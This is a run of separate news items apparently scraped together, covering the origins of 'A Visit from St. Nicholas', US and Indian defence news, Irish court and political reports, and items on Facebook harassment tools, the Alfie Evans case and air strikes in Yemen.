According to the legend, on Christmas Eve in 1822 Clement Clarke Moore completed a seasonal poem to read to his young children. He penned the whimsical little taleaa throwaway, really, in comparison with his great and respected academic writings on Greek and biblical literatureafrom a desk at his comfortable, snow-covered mansion, which the family called Chelsea.

The home (pictured above) sat atop an old hill (near todayas modern addresses of 422a424 West 23rd Street), which looked out over Mooreas vast estate, stretching to the south from here.

According to that legend, Moore had been inspired that day during an outing to Washington Market to purchase a Christmas turkey.

The poem, aA Visit from St. Nicholasa and often referred to as aaTwas the Night Before Christmas,a would eventually help shape the story of Santa Claus. His verses practically spelled out the jovial North Pole gift-giveras physical appearance, which was then illustrated by New Yorkabased newspaper and magazine illustrators like Thomas Nast and, in the twentieth century, the Coca- Cola advertising of Haddon Sundblom. Moore even named all eight reindeer.

Mooreas poem was published anonymously the following year, and head only take credit for penning itaat his childrenas insistenceain 1844.

Given Mooreas original hesitation, someA scholars have suggested that anotherA New Yorker, Henry Livingston, Jr., may have written the poem. Until proven otherwise, we like to turn our thoughts to Chelseaafrom the wild old hotel to the elevated High Lineaevery time we hear it.

Pictured at top: The Christmas tree market on West Street at the Hudson Piers, dated 1901


A file photo.

WASHINGTON (PTI): Describing India as a "leading global power", the US on Monday unveiled its new National Security Strategy (NSS) that said it will "deepen" America's strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region.



With an eye on China's One Belt One Road (OBOR) and the China-Pakistan Economic Corridor (CPEC), the US administration said it will help South Asian countries "maintain their sovereignty" as China increases its influence in the region.



The NSS also seeks Pakistan to take decisive action against terrorists.



"We welcome India's emergence as a leading global power and stronger strategic and defence partner," said the National Security Strategy unveiled by President Donald Trump.



The 68-page document said the US will seek to increase quadrilateral cooperation with Japan, Australia, and India.



"We will expand our defence and security cooperation with India, a Major Defence Partner of the United States, and support India's growing relationships throughout the region," the NSS said, noting that its vision for Indo-Pacific excludes no nation.



India-US defence relationship was mentioned in the context of Indo-Pacific region, whereas it gave a very prominent role to India in South and Central Asia.



"We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region," according to the NSS which the White House said sets a positive strategic direction for the US that will restore America's advantages in the world and build upon our country's great strengths.



The NSS said it will press Pakistan to intensify its counter-terrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials.



"The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets," it said adding the US will continue to partner with Afghanistan to promote peace and security in the region.



In an apparent reference to the OBOR and CPEC, the NSS said, "We will help South Asian nations maintain their sovereignty as China increases its influence in the region".



The recent Chinese move in Sri Lanka and Maldives is seen as an effort on their part to encroach eat on their sovereignty with similar fears in Pakistan.



India has objected to CPEC as it passes through Pakistan-occupied Kashmir.



The US, it said, continues to face threats from transnational terrorists and militants operating from within Pakistan.



"The prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention," NSS said.



US interests in the region include countering terrorist threats that impact the security of the US homeland and its allies, preventing cross-border terrorism that raises the prospect of military and nuclear tensions, and preventing nuclear weapons, technology, and materials from falling into the hands of terrorists, it said.



"We seek an American presence in the region proportionate to threats to the homeland and our allies. We seek a Pakistan that is not engaged in destabilising behaviour and a stable and self-reliant Afghanistan," the NSS said.



Insisting that it is committed to supporting the Afghan government and security forces in their fight against the Taliban, al-Qaeda, ISIS, and other terrorists, the NSS said the US will bolster the fighting strength of the Afghan security forces to convince the Taliban that they cannot win on the battlefield and to set conditions for diplomatic efforts to achieve enduring peace.



"We will insist that Pakistan take decisive action against militant and terrorist groups operating from its soil," it said.




A file photo.

HYDERABAD (PTI): The aviation arm of the Indian Navy will double its aircraft fleet in the coming decade to nearly 500, Chief of Naval Staff Admiral Sunil Lanba said here on Saturday.



"We have a naval air wing, which has 238 aircraft at the moment. It has a combination of fighters, helicopters and maritime patrol aircraft, both- long range and short range.



And we have a plan in place...in a decade's time this Naval air wing will grow to close to 500 aircraft of different types," Lanba said at a press conference.



Lanba reviewed the Combined Graduation Parade at Air Force Academy here.



Replying to a query on the issue of Sabi Giri, an Indian Navy sailor, who was discharged from service for undergoing a sex change surgery, the naval chief said the force cannot take her into direct employment, but is willing to accept her if she comes through any agency as a contract staff.



Defending the termination of the sailor's employment, Lanba said the Navy is a gender-neutral service but Giri's actions violated the rules.



"Specifically to the issue of Giri, he was inducted as male in the Navy. And there is no provision in the Navy or in the rules and regulation where you can go and do what he has gone and done. That's why he has been dismissed from the service for violating the rules and regulations.



"We told the court that we cannot do that (take her into employment). And we have told the court that if a private party is willing to employ her, come as a contract worker in the Navy (as an employee of the private party, not as Navy's direct employee)," he explained.



"We are a gender-neutral service. We make no distinctions based on gender. We induct both men and women.



They both have rigorous training and same rules and regulations are followed," he added.



The Navy chief said the defence wing is committed to the government's 'Make in India' programme and currently as many as 34 ships and submarines are under construction in Indian shipyards.



Meanwhile, Air Force Academy said, in a statement, that 105 flight cadets passed out today as Flying Officers, including 15 women officers. The officers include two fighter pilots, it said.




A file photo.

NEW DELHI (PTI): The government said on Monday that there cannot be any comparison between the cost of the 36 Rafale fighter jets it inked with France and the price negotiated by the previous UPA regime for the original 126- fighter aircraft deal as the deliverables were different.



Replying to a question on the issue in the Rajya Sabha, Defence Minister Nirmala Sitharaman said a better price was ensured while finalising the deal for 36 Rafale jets and that there was no increase in its cost.



She, however, did not give the rates at which government is procuring the combat jets from France.



"The cost of the 36 Rafale aircraft cannot be directly compared to the cost of the original MMRCA (Medium Multi Role Combat Aircraft) proposal as the deliverables are significantly different," she said.



The minister said better pricing, better maintenance terms and better delivery schedules were ensured in the agreement India had signed with France last year for the jets.



India had inked an inter-governmental agreement with France in September last year for the procurement of 36 Rafale fighter jets at a cost of around Rs 58,000 crore, nearly one- and-half years after Prime Minister Narendra Modi announced the proposal during a visit to Paris. The delivery of the jets is scheduled to begin from September, 2019.



The Congress recently raised several questions about the deal, including the rates, and accused the government of compromising national interest and security while promoting "crony capitalism" and causing a loss to the public exchequer.



The party had claimed that the UPA was negotiating a price of Rs 526 crore for each fighter jet under the MMRCA deal.



As per the negotiation during the UPA tenure, 108 aircraft were to be manufactured in India after transfer of technology (ToT) and 18 jets were to be supplied in direct fly-away condition.



Under the deal inked by the NDA government, each of the 36 Rafale jet will come at a price of around Rs 1,610 crore which includes a lethal weapons package.



"In the present procurement, 36 Rafale aircraft are being procured in direct fly-away condition to meet the operational necessity of the Indian Air Force. There is no increase in the cost. Instead, a better price has been ensured," Sitharaman said.



To a separate question, Minister of State for Defence Subhash Bhamre said 19 contracts amounting to Rs 11,739 crore were finalised by the Army to procure ammunition.


Ireland West Airport is to receive funding of 1,868,439 under the Public Policy Remit Operational Expenditure Subvention (PPR-O) Scheme for 2017.

The programme provides for Exchequer support to contribute towards the operational costs associated with air traffic control, fire, safety and security at the airport.
By Ann O'Loughlin

A provisional liquidator has been appointed by the High Court to the company which owns and operates a website allowing people to locate and buy second hand cars.

At the High Court today, Mr Justice Tony O'Connor appointed insolvency practioner Anthony Weldon of Kieran Ryan and Company as provisional liquidator to Digital Motor Limited, with a registered address of Woodstown Village Centre, Knocklyon, Dublin 16 which owns and operates the Car Buyers Guide website www.cbg.ie and which employed 22 people.

The Judge said he was satisfied to make the appointment as the company was insolvent and clearly unable to pays its debts.

The appointment of the provisional liquidator was sought by a creditor of the company Bristol Mallory Ltd, which owns 100% of the share capital in Digital Motor Limited.

The court heard that as well as Bristol Mallory, three other parties are entitled to the beneficial ownership of the shares in Digital Motor Ltd.

Ross Gorman Bl for Bristol Mallory said it is owed 1.14m by Digital Motor Limited, which had been loss-making for some time.

Digital Motor Limited had been surviving on loans from Bristol Mallory, but the latter was no longer prepared to provide money to support the firm.

The company, which derived its income from advertising on the website had 22 employees, which counsel said have been made redundant as the company was unable to pay its wages.

Counsel said the creditor was seeking to have a liquidator appointed because there had been expressions of interest in acquiring the firm's assets

The expressions of interest raised a possibility that some of the employees could be taken on by prospective purchasers of the website, counsel said.

It was vital the company's main asset namely the website be continue to be operated by the liquidator, or the value of the asset would be diminished, counsel said.

The liquidator would handle the sale of the assets, and take steps to ensure that none of the company's assets are dissipated by creditors before that process is completed, counsel said.

Counsel said it was in the best interests of his client and other creditors that a liquidator be appointed to the company .

Mr Justice O'Connor after appointing Mr Weldon as provisional liquidator and granting him a number of powers, including the power to secure the firm's assets, adjourned the matter to January.
New figures show 80% of Irish people are optimistic about the future of the European Union, according to Eurobar.

The Irish rate of optimism is the highest in the EU, with the average at just 57%.
A challenge by an Algerian man with alleged links to Islamic terrorism against a second refusal by the Minister for Justice to revoke a deportation order against him has opened before the High Court, writes Ann OLoughlin.

Today Micheal Lynn SC for the man told Mr Justice Richard Humphreys the Ministers decision the man is not at risk if returned to Algeria was "irrational". He contended the decision made last September should be quashed.

The Minister, represented by Remy Farrell SC, said the decision should remain undisturbed and the man should be deported.

Last July the Supreme Court unanimously quashed the refusal by the Minister for Justice to revoke the deportation order issued in December 2016.

The Supreme Court also remitted the mans case back to the Minister for further consideration.

The Supreme Courts ruling came after the man appealed an earlier High Court order which found the Ministers decision that there were no substantial grounds to find he would be at real risk of ill-treatment if deported to his home country was lawful.

The State opposed the appeal.

Opening the appeal Mr Lynn said the State had made some unreasonable findings when assessing the mans claims he is at risk of being tortured if returned.

The State said there had been changes to Algerian laws to protect people from torture and ill-treatment, and that Algerian police had received human rights training.

However, counsel said that there was no evidence that these changes had any " positive effect."

The State claims the man, who cannot be named for legal reasons, is involved with Islamic terrorism and was convicted of terrorism offences in Algeria and France.

The Minister issued a deportation order after gardai informed the Department of Justice the activities of the man and his associates were of serious concern and contrary to the States security.

The man, aged in his 50s who has lived in Ireland for several years denies being involved in terrorism or being involved in groups including Al-Qaeda.

He claims he is at risk of being tortured and subjected to inhuman or degrading treatment or punishment due to his political views.

During the 1990s he was convicted of several offences in Algeria and received three life sentences and two death sentences.

Those offences include forming an armed terrorist group intending to spread murder, sabotage, possession of prohibited war weapons assassination, theft intending to harm the security of his home country.

He was jailed for eight years following his arrest in France in 2002 after he was found guilty of charges including membership of a criminal organisation.
A legal action by former Labour Party TD Joe Costello aimed at ensuring the enactment of laws increasing the number of members of the Dail before the next General Election has been discontinued at the High Court, writes Ann OLoughlin.

The case was struck out on consent today by the President of the High Court, Mr Justice Peter Kelly, who was told the necessary legislation had been passed by the Oireachtas.

Afterwards, Mr Costello said he was happy to discontinue the case as its purpose had been achieved with the passage of the Electoral Amendment (Dail Constituencies) Bill 2017.

"Today is a good day for democracy, he said. The speedy passage of the legislation after the High Court intervention demonstrates the effective functioning of our democratic process."

The priority now was to ensure full implementation of the legislation before the next election, he urged.

In his proceedings initiated last month, Mr Costello had claimed the next Dail would be unconstitutional unless the new laws were implemented before the next general election is called.

A Labour Party candidate in Dublin Central, where the number of TDs will be increased from three to four as a result of the new legislation, he had claimed the State and the Oireachtas had failed to ensure the number of TDs accords with the requirements of Article 16.2.2 of the Constitution.

Article 16.2.2 provides the total number of members of Dail Eireann shall not be fixed at less than one member for each thirty thousand of the population or at more than one member for each twenty thousand of the population.

The action was initiated amid intense speculation a general election might be called arising from the controversy surrounding former Tanaiste, Frances Fitzgerald, but the prospect of an imminent election was removed following her resignation as Tanaiste on November 27.

The case was later adjourned by agreement after the State confirmed the new legislation was going through the Oireachtas.
By Aoife Nic Ardghail

The grandmother of a protesting inmate was lifted up in a hoist to try to talk him down from a prison roof, a court has heard.

Eric Harcourt (22) climbed onto the roof of Cloverhill Prison using clothing that other prisoners had tossed up to prevent being injured from the razor wire.

He remained on the roof for hours with another inmate, Dean Byrne (25). Both inmates refused attempts from the prison negotiator and both their grandmothers to persuade them to come down.

Harcourt, of Belcamp Grove, Priorswood, Dublin pleaded guilty at Dublin Circuit Criminal Court to violent disorder at Cloverhill Prison, Clondalkin, Dublin on July 29, 2015.

Judge Martin Nolan said that Harcourt was an active participant in the violent disorder and said it was a good thing nobody was injured when he threw debris off the roof.

He imposed a six-month sentence consecutive to Harcourt's current jail term, which is due to expire in April 2019.

Harcourt has 74 previous convictions and was on remand at the time for an offence of endangerment, for which he received a four and a half year jail term.

Detective Garda Donal Daly told Roisin Lacey SC, prosecuting, that the riot broke out in the prison yard after up to 64 inmates had been expressing disgruntlement about disciplinary matters.

He said a prison officer saw Harcourt helping to carry one of the yard's goal posts to a nearby observational hub, where it was used to smash the windows and rip razor wire off the roof.

Prison officers then saw Harcourt climb onto the roof and smash windows with a long metal pole.

Water hoses were deployed to prevent other prisoners climbing up. Det Gda Daly said Harcourt was seen throwing debris onto prison officers below and that he smashed an aerial that had been connected to a pipe.

Prison officers used hoists to get the negotiator and Harcourt's grandmother up to roof level in a bid to get him to come down once the violent disorder had abated.

Harcourt eventually descended at 1.30am after the riot had begun around 11am the previous day.

Det Gda Daly agreed with Ronan Munro SC, defending, that nothing happened on the roof for large periods of time after the violent disorder was resolved a few hours after it had begun.

He agreed that Harcourt, a father-of-one, had very low cognitive ability and was one of the youngest prisoners in the yard.

Mr Munro submitted to Judge Nolan that Harcourt had love and support from his family and girlfriend.

He asked the judge not to close the door completely on his client when passing the mandatory consecutive sentence.

Byrne, of Belcamp Crescent Priorswood, received a six-month consecutive sentence for aiding and abetting violent disorder on the same date.
Update 12.30pm: Housing Minister Eoghan Murphy says the increased number of cranes in the Dublin skyline are building office blocks and not homes.

Hes published a list of guidelines today that aim to reduce the cost of building apartments.

Included in the measures are easing height restrictions and removing the need for parking.

Minister Eoghan Murphy says car parks are costing developers too much.

What we're saying is that the default would be for no car parking spaces, but if the developer can make a good case to put in parking, then, of course, the city council can take that on board.

Were talking about city centre locations primarily because we know that every car parking space going underground is a significant additional cost per unit for developers.

At the moment, developers finding enough viability when it comes to building departments and thats why so many of the cranes we see are actually building office blocks and not homes.

Original story (7.13am): Height restrictions on residential buildings to be eased

Height restrictions on residential buildings are to be eased in new guidelines around apartment developments.

The Housing Department will publish the draft document today which also intends to increase the cap on the number of units that can be on a floor.

The need to have parking spaces will be reduced in areas with good public transport, while 'shared living options' will also be explored.

Housing Minister Eoghan Murphy said the guidelines aim to make it more cost-effective to build apartments.

Architect and assistant professor at UCD Orla Hegarty said the changes will cause delays.

"Nobody can start building if there is uncertainty about what the building will be. Anybody who has planning permission at the moment and were planning to develop it next year is likely now to put the brake on that and stop and wait and see what more they can get on site," she said.

"The immediate impact will probably fewer partner starting in the new year which is exactly the wrong policy direction," she added.
Cork City Council has urged the local government minister to introduce legislation quickly to give effect to a city boundary extension, writes Eoin English.

Councillors voted last night in support of city mayor Tony Fitzgeralds formal request to Local Government Minister Eoghan Murphy to legislate following Cork County Councils rejection of a compromise boundary plan on Friday.

Mr Fitzgerald notified county mayor Declan Hurley of the outcome of the vote by phone afterwards.

The vote was taken during a special city council meeting held to discuss the ministers call for agreement between both local authorities on the boundary issue.

Mr Murphy made the call after the Cabinet accepted the implementation oversight groups (IOG) compromise boundary extension report, which recommends that Ballincollig, Blarney, Tower, Glanmire, and Cork Airport become part of an expanded city.

He said if both councils agreed on the deal, it would allow him to use a ministerial order, rather than legislation, to give effect to the extension.

When county councillors rejected the IOG report on Friday, Mr Hurley said he would make immediate contact seeking urgent talks with Mr Fitzgerald to discuss the boundary further.

Mr Fitzgerald told city councillors last night he did not receive that correspondence until 1.56pm yesterday.

In that letter, Mr Hurley said significant progress has been made towards a positive resolution but he requested immediate discussions in order to progress an urgent final agreement between both councils on the boundary issue.

He said he is confident that these can be resolved locally through mature and meaningful discussion.

Mr Fitzgerald said the compromise, which emerged from talks two weeks ago, was described by Mr Hurley at the time as a solid base to move forward and as great news for Cork.

He said: I again reiterate that Government has approved the recommendations of the IOG. It is clear, in view of the decision of Cork County Council, to reject the IOG proposal for the extended boundary, that primary legislation will be needed to implement it.

I formally propose that the city council would now request the Minister for Housing, Planning, and Local Government to move swiftly to bring forward the necessary legislation.

A vote was called and councillors voted 24 for, with three abstentions, in favour of the mayors proposal. Mr Fitzgerald said it was effectively a unanimous vote.

Workers Party councillor Ted Tynan and Solidarity councillors Fiona Ryan and Marion OSullivan abstained.

Ms Ryan said Solidarity abstained because it believes the proposed extension does not go far enough and should include Little Island and Passage West.

Fianna Fail councillor Terry Shannon said it is clear county councillors had dealt with the negotiations in bad faith while Sinn Fein councillor Chris OLeary said county councillors who rejected the IOG deal were a bunch of deluded gombeens.

Fianna Fail councillor Tim Brosnan said he plans to write to Mr Murphy urging him to implement the full Mackinnon extension.

This story originally appeared in the Irish Examiner.
The British Governments failure to backdate the naming of political donors in Northern Ireland "stinks" of a deliberate bid to mask a huge Brexit-backing donation to the DUP, Labour has claimed.

Shadow Northern Ireland Secretary Owen Smith alleged the decision to publish donations from 2017 onward, rather than exercising the power to backdate to 2014, meant the 435,000 (492,000) donation to the DUP during the 2016 referendum campaign would not be covered by the law change.

Mr Smith levelled the claim in a Westminster committee as opposition MPs failed in a bid to halt the UK Governments timetable to finally lift the veil of secrecy on political donations in Northern Ireland.

"Unfortunately this affair stinks," he told members of the Third Delegated Legislation committee.

"It stinks because the government has chosen to come up with a date of July 2017 which deliberately excludes from publication the DUP donation - the largest donation in the history of Northern Ireland politics, the biggest item of political campaigning expenditure in the history of Northern Ireland politics."

A total of 435,000 was given to the DUP by the Constitutional Research Council (CRC), a little-known Great Britain-based group of pro-union business figures, ahead of the EU referendum last year.

It helped pay for a four page pro-Brexit wrap around advert in the Metro newspaper - a publication not distributed in Northern Ireland.

Mr Smith claimed the CRC was "shady" and questioned whether the DUP had been used to channel pro-Brexit money that could not be used by others involved in the Leave campaign due to spending caps.

"There are significant doubts about the source of that money, I think there are real questions about what that money is for and I think there are real questions about where it is come from," he said.

The DUPs Sammy Wilson said he was "amazed" at Mr Smiths claims.

Mr Wilson suggested Labour was motivated by "animosity" for those who voted Leave, rather than concern about the donation issue.

The East Antrim MP noted the Electoral Commission was satisfied with the bona fides of the CRC and with the details provided about its donation to the DUP.

"I find it difficult to see how he describes this money as shady when all of the obligations required under the law were met," he said.

Mr Wilson said people who had donated in Northern Ireland after 2014 but before July this year had acted on the assumption their identities would continue to be withheld.

"This cant be done for one particular donation, it has to be done for everyone and that would remove the good faith there was when people made donations since 2014," he said.

The names of political donors in Northern Ireland have long been kept confidential due to security concerns dating back to the Troubles.

The British Government is now pushing ahead with legislation that would see the names of individuals or organisations who donate more than 7,500 (8,475) to political parties after July 1 2017 being made public.

The Northern Ireland Office (NIO) has already faced criticism for declining to exercise its legislative ability to backdate publication of donation details to the start of 2014.

During Tuesdays committee hearing, NIO minister Chloe Smith accused Labour of playing "fast and loose" with the political situation in Northern Ireland.

"This is not about playing politics, this should be about getting on with something that has been important to parliament," she said.
A pensioner whose wife was killed by a drunk driver in Co Sligo says a local Fianna Fail TD should rethink comments he made on drink driving.

The new Road Traffic Bill would see those detected over the blood alcohol limit automatically disqualified.

It would impose a three-month driving ban for those caught with a blood alcohol level of between 50mg and 80mg per 100ml.

Sligo Leitrim Deputy Eamon Scanlon maintains that drivers who live in rural areas should be allowed to have one or two drinks.

Speaking to Ocean FM yesterday, Fianna Fail Deputy Eamon Scanlon claimed Ireland's drink-driving laws are already strict enough.

"One or two drinks, I don't think, genuinely, will create a problem for most people - I don't think it would," he said.

"I think what we're doing is a bit excessive. Even as we are, the regulations in this country are way more excessive in other European countries," he added.

James Mounsey's wife Karen was killed in a head-on collision near Riverstown in August 2010.

Mr Mounsey, who was also seriously injured in the crash told Ocean FM this morning he thinks drink driving laws should be stricter.

"In some respect, I feel there should be no drink at all to drive a car. In a way, it would be better I think. None. End of story," he said.

"Just think of what happens to a family when it happens to them and then rethink what you said," he said.
The Pope and Britains Queen Elizabeth are expected to make a joint visit to the North next year.

Pope Francis is due in Dublin in August 2018 for the World Meeting of Families.
By Ann O'Loughlin

The State has argued it was a bridge far too far for the High Court to declare that various buildings and sites on and around Dublins Moore Street are a 1916 Rising battlefield site comprising a national monument.

The High Court was not entitled, in judicial review proceedings, to declare an entire precinct of the city a national monument, with serious consequences for the property rights of a company which has permission to develop the site and for the Minister for Arts and Heritage, Michael McDowell SC argued.

The declaration involved a very serious stretching of the separation of powers between the courts and executive, he said.

A three judge Court of Appeal is hearing five appeals by the Minister and Dublin Central Limited Partnership (DCLP) - which bought some of the buildings and lands last year from another company, Chartered Land - over the High Court decision.

Members of the 1916 Relatives Association and supporters of the group were in the packed court on Tuesday for the opening of the appeals.

In March 2016, Mr Justice Barrett found in favour of Colm Moore, a nominee of the Association, who brought the proceedings against the Minister aimed at protecting the Moore Street site. Chartered Land was a notice party in the case.

The judge granted orders preventing works to the buildings and locations at issue after declaring them to constitute a 1916 Rising battlefield site comprising a national monument.

The 1916 Rising is unique and the GPO occupies an iconic position in Irish history, making what happened to the men and women who fled the GPO after it was ablaze following shelling by British troops a matter worthy of unique commemoration, he said.

He said the Minister could carry out essential conservation works to a terrace on Moore Street, the final headquarters of the Rising leaders before their executions.

The Minister had disputed any wider battlefield site exists and argued it was adequate to protect the terrace at Nos 14-17 Moore Street where it is intended to establish a 1916 Rising Commemorative Centre.

Opening the appeal for the Minister, Mr McDowell said this was not a situation where the Minister acted irrationally or unreasonably in not extending a protection order beyond Nos 14-17.

While Mr Justice Barretts imagination was clearly taken by his visit during the case to the site, that did not entitle him to declare the area a national monument, counsel said.

It was not appropriate, in deciding a complex issue of this kind, for the judge to tour an area of the city, to be emotionally hugely impressed by the memory of what he had read about that area, and then to say nobody could reasonably doubt this was a national monument. That very clear determination left the lands semi-permanently frozen and the Minister effectively a caretaker and custodian of city centre lands.

The legislature could not have intended a decision on a national monument could be made based on the historicity of an area, Mr McDowell argued.

There must be a respectful reluctance on the part of the High Court to embark, particularly via judicial review rather than a full plenary hearing based on oral evidence and where everybodys interests, including the landowners, are taken into account, on determining the status of lands for public purposes at the instance of people who are not owners of those lands

Shane Murphy SC, for DCLP, said there is no legal authority for the High Court finding, of its own motion, that certain areas comprise a national monument.

Opposing the appeal, Michael Collins SC, for Mr Moore, said the National Monuments Acts gives an extremely wide definition to a national monument, including the remains or traces of a building or place.

While the purpose of the State showing the court photos of Moore Street as it is today seemed to be to convey these buildings were miserable and lack an obvious wow factor, the issue is the national importance of the buildings and the place, he said.

The appeal continues tomorrow.
By Liam Heylin

A man accused of smashing a patrol van with a lump hammer and pulling knives in a garda station hoping he would be shot dead claimed in court: When I am on medication I am the nicest person you will ever meet.

Finbarr Savage, aged 43, of 119 Glenamoy Lawn, Mayfield, Cork, was remanded in custody by Judge Olann Kelleher until December 22.

Garda Dermot Broughton arrested Mr Savage on Sunday afternoon and charged him with causing criminal damage to the 2015-registered patrol van and producing two knives  one a carving knife  at Mayfield Garda Station.

Detective Garda Edmund ODonoghue said the defendants thought process was truly chilling.

It was alleged he wanted to provoke armed members of An Garda Siochana to shoot him dead. The detective said: 

His intention was to attack or kill a guard  whatever he had to do so that they would shoot him.

Mr Savage allegedly carried a change of clothing in case he needed to evade capture if it worked out differently or to be used as a change of clothes, if required, in a mortuary.

Insp Ronan Kennelly said gardai were afraid he would commit serious offences if released on bail.

Frank Buttimer, solicitor, said the defendant had been in the psychiatric unit of a hospital after he lost his job a fortnight ago, but was put out on Saturday.

Mr Savage said he would not do anything like what was alleged in relation to him on Sunday if he was released from custody. He said all he wanted was to get his medication from his doctor.

Mr Buttimer said: I am not putting a plea of guilty but it [what is alleged against Savage] is a very bizarre way to go about it. But it is some kind of bizarre cry for help. He wants to get back into a psychiatric unit for attention.

This story originally appeared in the Irish Examiner.
People shown around their new homes in the Lord Edward Street housing development in Limerick for the first time have described it as "a great Christmas present".

The development is part of the Regeneration programme and is one of the largest social housing projects in the country.

A total of 81 units have been built on a brownfield site close to Limerick city centre comprising of 57 units for elderly residents, with the remaining 24 being three-bedroom family homes.

Gerard and Christina Doran, who are both in their thirties, were among the first wave of new tenant families who were shown around their new homes over the past two days.

We were nervous coming down, anxious as we didnt know what to expect but this is amazing, so well laid out, Absolutely amazing, overwhelmed to be honest, Its modern day living, unbelievable, they said.

Fighting back the tears, the couple, who have one child, toured the house.

Were very happy, weve been living in OMalley Park in Southill for more than 10 years. We had planned to buy a house but I lost my job in the recession so things didnt work out for us," said Gerard.

So this is a new start for us, absolutely fantastic, amazing. Its great to have the opportunity to come down here and look at where we are going to be living. Its a great Christmas present.

Two of the homes facing the street are already lived in, while the remaining 79 units will be ready to be occupied by council tenants early in the new year.

As part of the allocation process, tenants were given a tour of their new homes by staff from the Community Support Services department of Limerick City and County Council.

Mary Kelly will be one of the Dorans neighbours. She is moving from Ballinacurra Weston to her new home.

Im amazed, ecstatic, I couldnt be happier. Im delighted. Im in my house now for 14 years and on the transfer list for the past seven years, she said.

Her upstairs bedroom window looks onto the restored Limerick Clothing Factory building, which will now be the areas community centre.

Im staying close to where Im from, and the kids know the area. I think my new house is amazing, especially for my daughter as she will have her own room. Its so well done, I couldnt be happier.

Mary Kelly gives her new home a thumbs up.

More than 18m has been spent on the site, which will also contain retail outlets and a community centre. It is part of the governments Rebuilding Ireland - Action Plan for Housing and Homeless.

The development, built by JJ Rhatigan Building Contractors, is also linked to the adjoining primary health care centre.

I would like to wish all the new tenants moving in to Lord Edward Street all the very best in their new homes. The site has some fascinating history attached to it and I hope all the new tenants are happy and will have memorable times of their own there, said Mayor of the City and County of Limerick Cllr Stephen Keary.

Lord Edward Street has been one of the flagship social housing developments not only in Limerick but the whole country. We are very conscious of the need to provide our citizens with good quality housing, and Lord Edward Street certainly delivers on this.

Seamus Hanrahan, Senior Architect with Limerick City and County Council said the history of the area influenced the development.

The history of the Lord Edward Street site is fascinating and the Limerick Clothing Factory which operated from this site was reputed to be the largest clothing factory in the world at one point, he said.

The factory was very important to the social and economic life of the city. The new development incorporates the existing structures on the site. Working with the existing structures was an important decision early in the design process and has resulted in a development which is firmly rooted in the area and respects its history.
Readers of The Irish News are being given an opportunity to probe Theresa May over Brexit.

The British Prime Minister has agreed to answer six questions from the newspaper's readers in relation to one of the most significant political developments in decades.
A man arrested after a disturbance at an RAF base during which shots were fired by US service personnel has been detained under the Mental Health Act.

The 44-year-old British man was apprehended at RAF Mildenhall in Suffolk on Monday after a vehicle failed to follow security directions at a checkpoint and drove onto the base.
Facebook has announced the introduction of new tools to prevent harassment on the site and its Messenger platform.

Users can choose to ignore a message request and see it automatically removed from their Messenger inbox, the social media giant said, while it will also "proactively recognise" and prevent blocked users from making contact through another account.

The announcement came on the day executives from the social network, as well as Twitter and Google, were heavily criticised by MPs on the Commons Home Affairs Select Committee.

The technology firms were accused of profiting from hateful content on their platforms, and failing to effectively act in the removal of abusive content.

On the new harassment prevention tools, Facebooks global head of safety Antigone Davis said: "Weve heard stories from people who have blocked someone only to encounter the same harasser using a different account.

"In order to help prevent those bad encounters, we are building on existing features that prevent fake and inauthentic accounts on Facebook.

"These automated features help us identify fake accounts more quickly and block millions of them at registration every day. However, sometimes a new account created by someone who was previously blocked might not get caught by these features.

"We are now using various signals - like an IP address - to help us proactively recognise this type of account and prevent its owner from sending a message or friend request to the person who blocked the original account.

"The person who blocked the original account is in control, and must initiate contact with the new account in order for them to interact normally."

Users of the Messenger app will also be able to ignore and filter out conversations from users they do not wish to interact with.

"If someone is being harassed, blocking the abuser sometimes prompts additional harassment, particularly offline," Ms Davis said.

"Weve also heard from groups that work with survivors of domestic violence that being able to see messages is often a valuable tool to assess if there is risk of additional abuse.

"Now, you can tap on a message to ignore the conversation. This disables notifications and moves the conversation from your inbox to your Filtered Messages folder. You can read messages in the conversation without the sender seeing if theyve been read.

"This feature is now available for one-on-one conversations and will soon be available broadly for group messages too."

Katie Ghose, chief executive of charity Womens Aid, said she hoped other social media platforms would implement similar tools.

"We have long been calling for technology companies to consider how new platforms or features can be exploited by perpetrators to abuse and control their victims," she said.

"These are welcome steps forward to improve online safety, and we hope that other online platforms and technology companies follow suit to protect survivors and tackle perpetrators of domestic abuse head on."
A couple at odds with doctors over whether their sick 19-month-old son should continue to get life-support treatment are preparing to mediate in the hope of avoiding further court action.

Tom Evans and Kate James, both 20 and from Liverpool, will hold private discussions with specialists caring for Alfie Evans at Alder Hey Childrens Hospital in Liverpool in January, lawyers say.

A High Court judge began analysing preliminary issues in the case at a hearing in the Family Division of the High Court in London on Tuesday.

Mr Justice Hayden was told that Alfie, who was born on May 9 2016, was in a "semi-vegetative state" and had a degenerative neurological condition doctors had not definitively diagnosed.

The judge said he would make decisions on what was in Alfies best interests if agreement could not be reached - and indicated that any trial would start in Liverpool on February 1.

But he said he wanted the couple to mediate with doctors.

He said everyone wanted to do what was best for Alfie.

Specialists at Alder Hey say continuing life-support treatment is not in Alfies best interests.

Alfies parents disagree and want permission to fly their son to a hospital in Rome.

They hope that specialists at the Bambino Gesu Paediatric Hospital will be able to pinpoint what is wrong with Alfie.

Barrister Rebecca Foulkes, who is representing Alfies parents, told the judge: "Their priority is to make sure that everything that can be done for Alfie is done."

She added: "They are not willing to give up."

Mr Evans said, after Tuesdays hearing, that he would be "made up" if Mr Justice Hayden could visit Alfie in hospital.

"Alfie will show the judge what I can see," said Mr Evans.

"Alfie will show the judge everything he has got in him.

"Alfie will do all he can to show the judge he has got life in him."

He said: "I see what I see every day in my boy - and I see life."
Update 2.26pm: The UN human rights office says has verified the killings of 136 Yemeni civilians and other non-combatants in air strikes carried out over 11 days this month by the Saudi-led military coalition batting Yemen's Shiite rebels.

Rupert Colville, of the Office of the High Commissioner for Human Rights, said UN officials are "deeply concerned" about a surge in civilian casualties from air strikes following the killing in early December of Yemen's former president, Ali Abdullah Saleh.

Mr Saleh was killed by the rebels, known as Houthis, after apparently switching alliances and turning against his former allies.

Mr Colville said the killings occurred between December 6 and 16 in four northern provinces.

The air strikes, which also injured 87 people, hit Yemen's rebel-run TV channel, a hospital in the Red Sea port city of Hodeida, and a wedding party - a strike that killed one woman and nine children, the rights office said.

